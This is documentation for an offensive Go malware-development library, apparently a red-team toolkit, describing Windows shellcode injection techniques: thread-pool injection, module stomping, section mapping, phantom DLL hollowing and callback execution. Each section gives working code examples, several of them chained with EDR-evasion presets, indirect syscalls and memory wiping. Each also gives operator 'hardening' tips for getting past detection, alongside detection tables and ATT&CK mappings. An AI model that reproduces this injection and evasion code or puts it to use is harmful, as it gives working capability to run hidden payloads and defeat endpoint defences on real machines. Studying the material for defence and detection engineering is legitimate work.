
T-IDNameSub-coverageD3FEND counter
T1055.003Process Injection: Thread Execution Hijackingsuspended-child variantD3-PSA

Limitations

  • x64 only in the current implementation (CONTEXT.Rip). x86 would need Eip and a different CONTEXT flags mask.
  • Original entry point never runs. The sacrificial process never reaches its real main. If the shellcode does not hand control back, the child appears to have started and immediately died — a small but non-zero behavioural anomaly.
  • NtSetContextThread is high-signal. EDRs that miss the CREATE_SUSPENDED flag still catch the context modification. Direct/indirect syscalls help against userland hooks but not against ETW-Ti.
  • Race-prone for fast spawns. Some sacrificial binaries (csrss.exe adjacents, lightly-instrumented processes) finish initial setup before NtGetContextThread returns. Stick to well-behaved utilities.

See also

Thread pool injection

← injection index · docs/index

New to maldev injection? Read the injection/README.md vocabulary callout first.

TL;DR

Drop a work item onto the process's default thread pool via the undocumented TpAllocWork / TpPostWork / TpReleaseWork triplet in ntdll. An idle worker thread that already exists picks the item up and runs the shellcode as a normal callback. No CreateThread, no NtCreateThreadEx, no APC. Local-only.

TraitValue
Target classLocal (current process)
Creates a new thread?No — reuses one of the always-running pool workers
Uses WriteProcessMemory?No — caller pre-allocates RX in their own process
Stealth tierHigh — no CreateThread / QueueAPC / SetContext call enters EDR's view
CET-affected?Pool dispatcher may enforce ENDBR64 on Win11 24H2+. Use inject.ThreadPoolExecCET for auto-wrapping.

When to pick a different method:

Primer

Every Windows process has a default thread pool — a small ring of worker threads created by RtlpInitializeThreadPool early in process startup. The pool's purpose is to dispatch arbitrary work items submitted by kernel32!QueueUserWorkItem, ntdll!TpPostWork, and the modern CreateThreadpoolWork family. The implant abuses the ntdll-private layer: TpAllocWork(callback, ctx, env) builds a TP_WORK object whose callback pointer is the shellcode, TpPostWork pushes it onto the queue, and one of the existing workers dequeues and dispatches it.

The result is execution on a thread that the implant did not create and the EDR did not see being created. The same TP_WORK object is the textbook plumbing every well-behaved Windows process uses dozens of times per second; the only anomaly is the callback target itself.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Nt as "ntdll"
    participant Pool as "Default thread pool"
    participant W as "Worker thread"

    Impl->>Impl: VirtualAlloc(RW) + memcpy
    Impl->>Impl: VirtualProtect(RX)
    Impl->>Nt: TpAllocWork(&work, sc, 0, 0)
    Nt-->>Impl: TP_WORK*
    Impl->>Nt: TpPostWork(work)
    Nt->>Pool: enqueue
    Pool->>W: dispatch
    W->>W: shellcode runs as callback
    Impl->>Nt: TpWaitForWork(work, false)
    Note over Impl: blocks until callback returns
    Impl->>Nt: TpReleaseWork(work)

Steps:

  1. Allocate / write / protect in the current process — RW first, then RX.
  2. TpAllocWork — register the shellcode as the callback.
  3. TpPostWork — submit the work item.
  4. Worker dispatch — an existing pool worker dequeues and calls the callback (the shellcode).
  5. TpWaitForWork — block to guarantee completion before TpReleaseWork frees the object underneath the running callback.
  6. TpReleaseWork — clean up.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import "github.com/oioio-space/maldev/inject"

if err := inject.ThreadPoolExec(shellcode); err != nil {
    return err
}

Simple — future-proofed (CET-aware)

// Same code, no per-call decisions. Wraps with cet.Wrap when
// cet.Enforced() flips true on a future Win build; no-op today.
if err := inject.ThreadPoolExecCET(shellcode); err != nil {
    return err
}

Composed (ModuleStomp + manual TpAllocWork)

ThreadPoolExec is a one-shot helper. To make the callback target image-backed, stomp first and call TpAllocWork manually — see inject/threadpool_windows.go for the call shape:

import "github.com/oioio-space/maldev/inject"

addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
// dispatch via TpAllocWork(addr, ...) — see source for full snippet
return inject.ExecuteCallback(addr, inject.CallbackRtlRegisterWait)

Advanced (chain with evasion preset)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)
return inject.ThreadPoolExec(shellcode)

Complex (decrypt + thread-pool + wipe)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

if err := inject.ThreadPoolExec(shellcode); err != nil { return err }
memory.SecureZero(shellcode)

OPSEC & Detection

ArtefactWhere defenders look
TP_WORK callback pointer outside any imageEDR memory scanners walk active pool work items (CrowdStrike Falcon Sensor, MDE Live Response)
RW → RX flip in current processNtProtectVirtualMemory telemetry — every modern EDR keys on the protection transition
Pool worker stack containing addresses outside any moduleStack-walking telemetry on the thread-pool dispatcher

D3FEND counters:

  • D3-PCSV — verifies the callback against image segments.
  • D3-EAL — WDAC blocks RX flips outside images.

Hardening for the operator: pair with ModuleStomp so the callback pointer is image-backed; spread allocations across multiple smaller pages to reduce signature surface; sleep-mask the shellcode region between activations (evasion/sleepmask).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectionthread-pool variant — no thread creationD3-PCSV

Limitations

  • Local only. Targets the current process's pool. There is no cross-process variant — the TP_WORK object lives in the calling process.
  • Synchronous via TpWaitForWork. The helper blocks until the callback returns. Long-running shellcode should detach internally (spawn a fiber or thread).
  • CET dispatcher is not currently enforced on the thread-pool path (unlike RtlRegisterWait, which is). Plain ThreadPoolExec works as-is. The future-proof ThreadPoolExecCET wrapper auto-prepends ENDBR64 via cet.Wrap when cet.Enforced() returns true, so an implant built against this helper survives the day Microsoft flips the dispatcher to ENDBR64-required. Cost on non-enforced hosts: 4 bytes of shellcode prefix.
  • Region not freed. The RX page persists until process exit unless the implant calls cleanup/memory.WipeAndFree.
  • Undocumented APIs. TpAllocWork / TpPostWork / TpReleaseWork are not in the SDK; future Windows builds may rename or relocate them.

See also

Module stomping

← injection index · docs/index

New to maldev injection? Read the injection/README.md vocabulary callout first.

TL;DR

Load a legitimate System32 DLL with DONT_RESOLVE_DLL_REFERENCES, locate its .text section, briefly flip it to RW, overwrite the bytes with shellcode, flip back to RX. The resulting RX page is image-backed — memory scanners that trust file-backed regions see a legitimate msftedit.dll mapping. Local-only; pair with a callback or thread-pool trigger to actually run the bytes.

TraitValue
Target classLocal (current process)
Creates a new thread?Caller's choice — pair with Callback execution or Thread Pool for the trigger
Uses WriteProcessMemory?No (current-process write only)
Stealth tierHigh — VirtualQueryEx reports MEM_IMAGE + a real DLL path; only deep .text byte-hash checks catch the swap
SacrificeThe stomped DLL's exports are gone — load only DLLs the implant doesn't need (e.g., msftedit.dll if no rich-edit calls)

When to pick a different method:

Primer

Memory scanners commonly trust regions that the OS reports as file-backed by a known image. The shortcut they take is reasonable — loading c:\windows\system32\msftedit.dll is by definition fine, so scanning every byte of every loaded DLL would be wasteful. Module stomping abuses that trust: the implant loads a benign DLL it does not actually need, walks its PE headers in memory, finds the .text (code) section, and replaces the section's bytes with the shellcode. The OS still reports the region as msftedit.dll's code segment; the bytes have changed underneath.

The technique is placement only. ModuleStomp returns the address of the new RX region; pair it with a separate execution primitive (ExecuteCallback, ThreadPoolExec, fiber, or a manually-fired callback) to dispatch.

How it works

flowchart LR
    A[LoadLibraryEx<br>DONT_RESOLVE_DLL_REFERENCES] --> B[parse PE headers<br>find .text]
    B --> C[VirtualProtect<br>.text → RW]
    C --> D[memcpy shellcode<br>over .text]
    D --> E[VirtualProtect<br>.text → RX]
    E --> F[return RX address]

Steps:

  1. Load the cover DLL with LOAD_LIBRARY_AS_IMAGE_RESOURCE | DONT_RESOLVE_DLL_REFERENCES. This maps the file as a SEC_IMAGE section — the OS treats it like a real load — but skips DllMain so no real init runs.
  2. Parse the loaded module's PE headers in memory to locate the .text section's virtual address and size.
  3. Flip the .text section to PAGE_READWRITE.
  4. Overwrite the existing bytes with the shellcode (zero-pad the tail).
  5. Flip back to PAGE_EXECUTE_READ.
  6. Return the address.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
return inject.ExecuteCallback(addr, inject.CallbackEnumWindows)

Composed (stomp + thread pool)

addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
// Use a callback method that routes through the thread pool.
return inject.ExecuteCallback(addr, inject.CallbackRtlRegisterWait)

Advanced (evade + stomp + callback)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)

addr, err := inject.ModuleStomp("dbghelp.dll", shellcode)
if err != nil { return err }
return inject.ExecuteCallback(addr, inject.CallbackCreateTimerQueue)

Complex (decrypt → stomp → trigger → wipe)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/inject"
)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
memory.SecureZero(shellcode) // bytes already copied into the cover DLL

return inject.ExecuteCallback(addr, inject.CallbackNtNotifyChangeDirectory)

OPSEC & Detection

ArtefactWhere defenders look
VirtualProtect flip on a loaded image's .textMid-tier EDR — sysmon does not log this directly, but EDR userland hooks do
In-memory .text mismatch with the on-disk DLLAdvanced memory scanners diff loaded .text against \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy*\windows\system32\<dll> — strong, slow detector
Loaded module that the process never importsEDR module-load telemetry (Sysmon Event 7) — msftedit.dll loaded by a CLI tool that does not edit RTF is anomalous
Callback target inside a System32 DLL the process never importsBehavioural rule combining the load + the eventual callback

D3FEND counters:

  • D3-PCSV — text-segment integrity checking is the canonical defeat.
  • D3-EAL — WDAC's Code Integrity engine validates loaded sections.
  • D3-SICA — diffs loaded image sections against on-disk.

Hardening for the operator: rotate the cover DLL between runs; pick a DLL whose .text is large enough to hold the shellcode comfortably (extra zero-padding is fine; truncation is not); avoid DLLs whose absence breaks the stage's own imports.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectionimage-backed variant — no separate allocationD3-PCSV
T1027Obfuscated Files or Informationplacement under a benign image disguises the payload's presenceD3-SICA

Limitations

  • Local only. No cross-process variant. Stomping a module in another process would need WriteProcessMemory — exactly the syscall the technique exists to avoid.
  • Size capped by .text. Big shellcode needs a big cover DLL. msftedit.dll (~200 KB), dbghelp.dll, and windowscodecs.dll are common picks.
  • Module must not be otherwise needed. If the rest of the implant imports from the cover DLL, the stomp breaks the imports. Pick a DLL the binary does not legitimately use.
  • Mapped DLL leaks until process exit. Add manual FreeLibrary with care — the OS reference-counts and other implants in the same process may have the DLL pinned.
  • Image diffing defeats it. Defenders that compare loaded .text with the on-disk DLL find the stomp. The technique trades simple signature evasion for a more sophisticated detection class.

See also

Section mapping injection

← injection index · docs/index

New to maldev injection? Read the injection/README.md vocabulary callout first.

TL;DR

Cross-process injection without WriteProcessMemory. Create a shared section, map a writable view in the implant's process, copy the shellcode locally, then map a read-execute view of the same section in the target. Both views point at the same physical pages, so the local memcpy is instantly visible across the boundary. Trigger via NtCreateThreadEx (or whichever executor the caller chooses).

TraitValue
Target classRemote (existing PID)
Creates a new thread?Yes (caller chooses the executor — typically NtCreateThreadEx)
Uses WriteProcessMemory?No — the bypass-WPM is the whole point
Stealth tierHigh — no WPM signal; section-create + map-view is harder to baseline against legitimate IPC

When to pick a different method:

Primer

WriteProcessMemory is one of the loudest cross-process syscalls. EDRs hook it, ETW-Ti reports it, and a single use is enough to flag the chain. Section mapping sidesteps it entirely by exploiting Windows' shared-memory primitive: NtCreateSection returns a section object backed by the page file (or the file system); NtMapViewOfSection projects views of that section into arbitrary processes. Two views of the same section point at the same physical pages — modifying one updates the other.

The implant maps the section RW into itself, writes shellcode through the local view, then maps the same section RX into the target. No cross-process write was issued. The remaining cross-process call is the final trigger (NtCreateThreadEx, or anything else the caller wants).

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant Tgt as "Target"

    Impl->>Kern: NtCreateSection(SEC_COMMIT, RWX)
    Kern-->>Impl: hSection

    Impl->>Kern: NtMapViewOfSection(self, RW)
    Kern-->>Impl: localBase

    Impl->>Impl: memcpy(localBase, shellcode)

    Impl->>Kern: NtMapViewOfSection(target, RX)
    Kern->>Tgt: same physical pages, RX
    Kern-->>Impl: remoteBase

    Impl->>Kern: NtUnmapViewOfSection(self, localBase)

    Impl->>Kern: NtCreateThreadEx(target, remoteBase)
    Kern->>Tgt: thread @ shellcode

Steps:

  1. NtCreateSection with SEC_COMMIT | PAGE_EXECUTE_READWRITE, sized to the shellcode.
  2. NtMapViewOfSection into the local process with PAGE_READWRITE.
  3. memcpy the shellcode through the local view.
  4. NtMapViewOfSection into the target with PAGE_EXECUTE_READ. Both views share physical pages; the data is already there.
  5. NtUnmapViewOfSection locally — no longer needed.
  6. NtCreateThreadEx at remoteBase (or any other trigger).

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import "github.com/oioio-space/maldev/inject"

if err := inject.SectionMapInject(targetPID, shellcode, nil); err != nil {
    return err
}

Composed (indirect syscalls)

import (
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
return inject.SectionMapInject(targetPID, shellcode, caller)

Advanced (full evasion stack)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)

return inject.SectionMapInject(targetPID, shellcode, caller)

Complex (encrypt + decrypt + section map + wipe)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

if err := inject.SectionMapInject(targetPID, shellcode, caller); err != nil {
    return err
}
memory.SecureZero(shellcode)

OPSEC & Detection

ArtefactWhere defenders look
NtCreateSection followed by two NtMapViewOfSection to different processesEDR-Ti correlates the chain — strong signal in modern products
Cross-process NtMapViewOfSection at allSysmon does not log; EDR userland hooks + ETW Threat Intelligence (Microsoft-Windows-Threat-Intelligence) emit MapViewOfSection events
NtCreateThreadEx start address inside a non-image RX mappingPsSetCreateThreadNotifyRoutine callback flags non-image-backed start addresses
Page-file-backed section with PAGE_EXECUTE_READWRITE initial protectionEDR allocation telemetry — RWX sections without an image backing are unusual

D3FEND counters:

  • D3-PSA — flags the section + remote-thread chain.
  • D3-PCSV — verifies the start address against image segments.
  • D3-MA — anomaly on cross-process executable mappings.

Hardening for the operator: trigger via a callback path on the remote side (e.g. hijack a thread's APC queue with NtQueueApcThreadEx) to avoid NtCreateThreadEx; pair with evasion/unhook to defeat userland hooks on NtMapViewOfSection.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectionshared-section variant — no WriteProcessMemoryD3-PSA

Limitations

  • NtCreateThreadEx still fires at the end of the chain. The technique avoids WriteProcessMemory, not thread-creation telemetry.
  • No PPL targets. Cross-process section mapping into a Protected Process Light is denied.
  • Initial section protection is RWX. EDRs that key on PAGE_EXECUTE_READWRITE allocations flag the creation regardless of the eventual RX-only target view.
  • Section persists in target. No automatic cleanup on the remote side. The mapped pages stay until the target exits.
  • Caller nil falls back to userland-hooked stubs. Prefer an indirect-syscall Caller for any non-trivial EDR posture.

See also

Phantom DLL hollowing

← injection index · docs/index

New to maldev injection? Read the injection/README.md vocabulary callout first.

TL;DR

Cross-process module stomping: open a real System32 DLL, build a SEC_IMAGE section from it, map the section into the target so the kernel records the mapping as a legitimate signed image, then overwrite the .text of the remote view with shellcode. Memory scanners see a file-backed amsi.dll mapping; the bytes are the implant's. Optionally routes the open through evasion/stealthopen to dodge path-based file hooks.

TraitValue
Target classRemote (placement only — no execution trigger)
Creates a new thread?No (placement only — caller picks an executor)
Uses WriteProcessMemory?Yes (to overwrite .text of the mapped image)
Stealth tierVery high — kernel records SEC_IMAGE mapping with the donor's path; memory scanners see a file-backed signed module
ComposableDesigned to chain with Kernel Callback Table for the execution trigger (no thread creation either)

When to pick a different method:

  • Want a single self-contained "place + execute" call? → Section Mapping trades the file-backed mask for one less syscall chain.
  • Don't need image-backed mapping? → CreateRemoteThread is simpler when memory scanners aren't the threat.
  • Want the stomp to happen in YOUR process? → Module Stomping — same trick, local target.

Primer

Module stomping (local) gives an RX region that the OS reports as a legitimate signed image — but only inside the implant's own process. Phantom DLL hollowing extends the same idea across a process boundary by combining NtCreateSection(SEC_IMAGE) with NtMapViewOfSection into the target.

The kernel insists that SEC_IMAGE sections be backed by an Authenticode- signed file; the implant uses a real System32 DLL (amsi.dll, msftedit.dll, …) so the signature check passes. The same pages are then overwritten in the target's view: read the on-disk DLL to locate the .text RVA, flip the remote section to RW with VirtualProtectEx, write the shellcode, flip back to RX. The remote process now has an amsi.dll mapping whose code segment is the implant.

EDR memory scanners that key on "is this image-backed and signed?" report green. Defenders that compare in-memory bytes against the on-disk copy see the divergence.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Open as "stealthopen.Opener (optional)"
    participant Kern as "Kernel"
    participant Tgt as "Target"

    Impl->>Open: open amsi.dll
    Open-->>Impl: hFile
    Impl->>Kern: NtCreateSection(SEC_IMAGE, hFile)
    Kern->>Kern: Authenticode validation
    Kern-->>Impl: hSection (image-backed)

    Impl->>Kern: NtMapViewOfSection(target, RX)
    Kern->>Tgt: legitimate amsi.dll image mapped
    Kern-->>Impl: remoteBase

    Impl->>Impl: parse local copy of amsi.dll PE → text RVA, size
    Impl->>Kern: NtProtectVirtualMemory(target, .text → RW)
    Impl->>Kern: NtWriteVirtualMemory(target, .text ← shellcode)
    Impl->>Kern: NtProtectVirtualMemory(target, .text → RX)

Steps:

  1. Open the cover DLL (default amsi.dll). When an Opener is supplied, the open routes through file-ID handles rather than a path-based CreateFile, defeating EDR file-IO hooks that key on path strings.
  2. NtCreateSection(SEC_IMAGE) — kernel validates and builds a signed image section.
  3. NtMapViewOfSection into the target with PAGE_EXECUTE_READWRITE.
  4. Parse the cover DLL's PE headers in the implant to locate the .text RVA and size.
  5. Flip + write + flip back the target's .text via VirtualProtectEx + WriteProcessMemory + VirtualProtectEx.
  6. (Caller's responsibility) trigger the shellcode in the target — KernelCallbackExec, SectionMapInject-paired thread, callback APC.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import "github.com/oioio-space/maldev/inject"

if err := inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, nil); err != nil {
    return err
}
// caller now triggers the shellcode separately.

Composed (stealthopen for the file open)

Defeat path-based EDR file hooks on amsi.dll:

import (
    "os"
    "path/filepath"

    "github.com/oioio-space/maldev/evasion/stealthopen"
    "github.com/oioio-space/maldev/inject"
)

sys32 := filepath.Join(os.Getenv("SYSTEMROOT"), "System32")
opener, _ := stealthopen.New(filepath.Join(sys32, "amsi.dll"))
defer opener.Close()

return inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, opener)

Advanced (phantom + KCT trigger)

End-to-end placement + execution:

import (
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

if err := inject.PhantomDLLInject(targetPID, "msftedit.dll", shellcode, nil); err != nil {
    return err
}

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
return inject.KernelCallbackExec(targetPID, shellcode, caller)

Complex (decrypt + stealthopen + phantom + trigger + wipe)

import (
    "os"
    "path/filepath"

    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/evasion/stealthopen"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = evasion.ApplyAll(preset.Stealth(), caller)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

sys32 := filepath.Join(os.Getenv("SYSTEMROOT"), "System32")
opener, _ := stealthopen.New(filepath.Join(sys32, "amsi.dll"))
defer opener.Close()

if err := inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, opener); err != nil {
    return err
}
memory.SecureZero(shellcode)

return inject.KernelCallbackExec(targetPID, shellcode, caller)

OPSEC & Detection

ArtefactWhere defenders look
SEC_IMAGE section in a target backed by a DLL the target does not importSysmon Event 7 (ImageLoad) — anomaly when the host process does not depend on the cover DLL
In-memory .text mismatch with the on-disk DLLImage-integrity scanners — strong, slow detector
Cross-process WriteProcessMemory to an image's .textEDR userland hooks + ETW-Ti WriteVirtualMemory
VirtualProtectEx flip on a loaded imageEDR allocation-protect telemetry

D3FEND counters:

  • D3-PCSV — image-integrity verification.
  • D3-SICA — image-change analysis on loaded modules.

Hardening for the operator: route the file open through stealthopen; pick a cover DLL that the target is unlikely to actually import (so the load looks load-but-unused rather than overlapping legitimate use); pair with ntdll unhooking.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectionimage-backed cross-process variantD3-PCSV
T1574.002Hijack Execution Flow: DLL Side-Loadingadjacent — phantom DLL imitates side-loading without actual hijackD3-SICA

Limitations

  • WriteProcessMemory still fires. The technique avoids the allocation anomaly (image-backed instead of heap), not the cross-process write itself.
  • Non-trigger. PhantomDLLInject only places the shellcode. The caller picks the trigger (KernelCallbackExec, APC, thread).
  • Cover DLL must not be already loaded with dependencies in target. If amsi.dll is already mapped because AMSI is in use, the new SEC_IMAGE mapping conflicts. Pick a DLL the target does not load (verify via Process Explorer first).
  • Image-diff defeats it. Defenders that compare loaded .text against the on-disk DLL win.

See also

Callback-based execution

← injection index · docs/index

New to maldev injection? Read the injection/README.md vocabulary callout first (Self/Local/Remote/Child, Injector, *wsyscall.Caller, APC, stealth tier).

TL;DR

Run shellcode by handing its address to a Windows API that already takes a function pointer as part of its normal contract — EnumWindows, CreateTimerQueueTimer, CertEnumSystemStore, ReadDirectoryChangesW, RtlRegisterWait, NtNotifyChangeDirectoryFile. The OS calls the shellcode through its own dispatcher, so no Create*Thread* event fires. Local technique only — pair with a separate primitive that places the shellcode in executable memory.

TraitValue
Target classLocal (current process)
Creates a new thread?No — shellcode runs on an existing thread the OS already owns
Uses WriteProcessMemory?No — caller pre-allocates RX in their own process
Stealth tierHigh — no CreateThread / QueueAPC / SetContext call enters EDR's view
CET-affected variantsCallbackRtlRegisterWait + CallbackNtNotifyChangeDirectory need cet.Wrap on Win11 24H2+. Use inject.ExecuteCallbackBytes for auto-wrapping.

When to pick a different method:

Primer

Many Windows APIs accept callbacks as routine parameters: EnumWindows calls a function for every top-level window, CreateTimerQueueTimer fires one after a delay, CertEnumSystemStore invokes one per certificate store, RtlRegisterWait triggers one when a kernel object signals, and so on. If the implant aims any of those callbacks at its shellcode, Windows itself executes the shellcode as part of a documented API call.

The advantage is the absence of any thread-creation or APC-queue syscall. EDRs that monitor NtCreateThreadEx, NtQueueApcThread, or SetThreadContext see nothing. The shellcode runs on a thread that already exists (the calling thread for EnumWindows/CertEnum, the timer-queue thread for CreateTimerQueueTimer, a thread-pool worker for RtlRegisterWait).

The technique is local-only: every callback executes in the calling process. Pair with ModuleStomp or a manual VirtualAlloc(RW) + memcpy + VirtualProtect(RX) to place the shellcode in executable memory first; ExecuteCallback does not allocate.

How it works

flowchart TD
    SC[shellcode in RX page] --> Pick{CallbackMethod}
    Pick -->|EnumWindows| EW[user32!EnumWindows]
    Pick -->|CreateTimerQueue| TQ[kernel32!CreateTimerQueueTimer]
    Pick -->|CertEnumSystemStore| CE[crypt32!CertEnumSystemStore]
    Pick -->|ReadDirectoryChanges| RD[kernel32!ReadDirectoryChangesW]
    Pick -->|RtlRegisterWait| RW[ntdll!RtlRegisterWait]
    Pick -->|NtNotifyChangeDirectory| NC[ntdll!NtNotifyChangeDirectoryFile]
    EW --> CALL[Windows calls shellcode<br>as a normal API callback]
    TQ --> CALL
    CE --> CALL
    RD --> CALL
    RW --> CALL
    NC --> CALL

The package selects the correct call shape and parameters for each method. EnumWindows and CertEnumSystemStore invoke the shellcode synchronously; CreateTimerQueueTimer fires it on the timer thread with WT_EXECUTEINTIMERTHREAD; RtlRegisterWait and NtNotifyChangeDirectoryFile deliver it via a thread-pool worker or APC dispatcher.

[!IMPORTANT] CET enforcement — on Windows 11 with ProcessUserShadowStackPolicy enabled, two of the six methods (CallbackRtlRegisterWait, CallbackNtNotifyChangeDirectory) require the shellcode to start with the ENDBR64 instruction (F3 0F 1E FA) or the kernel terminates the process with STATUS_STACK_BUFFER_OVERRUN.

The package now ships a CET-aware helper that handles this automatically:

// Auto-prepends ENDBR64 when MethodEnforcesCET(method) AND cet.Enforced().
err := inject.ExecuteCallbackBytes(shellcode, inject.CallbackRtlRegisterWait)

ExecuteCallbackBytes(sc, method) checks MethodEnforcesCET(method) and cet.Enforced() and, when both hold, calls cet.Wrap(sc) before allocating + invoking ExecuteCallback. On non-CET hosts it's equivalent to a plain alloc + ExecuteCallback chain.

Operators who want manual control still call evasion/cet.Wrap(sc) themselves and feed the result to ExecuteCallback(addr, method), or evasion/cet.Disable() once at start-up to opt the whole process out.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

import "github.com/oioio-space/maldev/inject"

// Auto-wraps with ENDBR64 when MethodEnforcesCET(method) AND
// cet.Enforced(). Allocates RW, copies, flips RX, calls
// ExecuteCallback. One line, no manual fiddling.
_ = inject.ExecuteCallbackBytes(shellcode, inject.CallbackRtlRegisterWait)

Simple — manual (operator-controlled allocation)

The shellcode must already be in executable memory. Use this path when the operator wants explicit control over allocation (e.g., to feed inject.ModuleStomp an image-backed region):

import (
    "unsafe"

    "github.com/oioio-space/maldev/inject"
    "golang.org/x/sys/windows"
)

addr, _ := windows.VirtualAlloc(0, uintptr(len(shellcode)),
    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
copy(unsafe.Slice((*byte)(unsafe.Pointer(addr)), len(shellcode)), shellcode)
var old uint32
_ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &old)

_ = inject.ExecuteCallback(addr, inject.CallbackEnumWindows)

Composed (with inject.ModuleStomp)

Hide the executable region inside a legitimate System32 DLL's .text section, then trigger:

import "github.com/oioio-space/maldev/inject"

addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
return inject.ExecuteCallback(addr, inject.CallbackCreateTimerQueue)

Advanced (with CET wrapping for thread-pool callbacks)

Some callback paths require the ENDBR64 prefix on Windows 11:

import (
    "github.com/oioio-space/maldev/evasion/cet"
    "github.com/oioio-space/maldev/inject"
)

prepared := cet.Wrap(shellcode)
addr, _ := inject.ModuleStomp("msftedit.dll", prepared)
_ = inject.ExecuteCallback(addr, inject.CallbackRtlRegisterWait)

Complex (full chain — evade + stomp + callback + cleanup)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/cet"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)
prepared := cet.Wrap(shellcode)

addr, err := inject.ModuleStomp("msftedit.dll", prepared)
if err != nil { return err }

if err := inject.ExecuteCallback(addr, inject.CallbackNtNotifyChangeDirectory); err != nil {
    return err
}

memory.SecureZero(prepared)

OPSEC & Detection

ArtefactWhere defenders look
EnumWindows callback pointing into a non-image regionEDR memory scanners (CrowdStrike, MDE Live Response) — orphan callbacks lit up
Sudden RtlRegisterWait from a non-system process with a callback in heapUserland hooks + ETW Microsoft-Windows-Threadpool
CertEnumSystemStore from a non-crypto-aware processBehavioural rule (rare; Defender flags the chain when paired with downloaded payloads)
File-watch on C:\Windows\Temp from a process that does not file-watchSysmon Event 12/13 (no direct event) but EDR file-IO baselines
RW page promoted to RX in non-image regionAllocation-protect telemetry — flag the VirtualProtect to RX

D3FEND counters:

  • D3-PCSV — verifies callback pointers against image segments.
  • D3-EAL — WDAC denies execution from non-image-backed pages.

Hardening for the operator: combine with ModuleStomp so the callback pointer falls inside a legitimate DLL's .text section; rotate CallbackMethod between runs to defeat behaviour-rule fingerprinting; never run the same EnumWindows trigger twice in a row.

MITRE ATT&CK

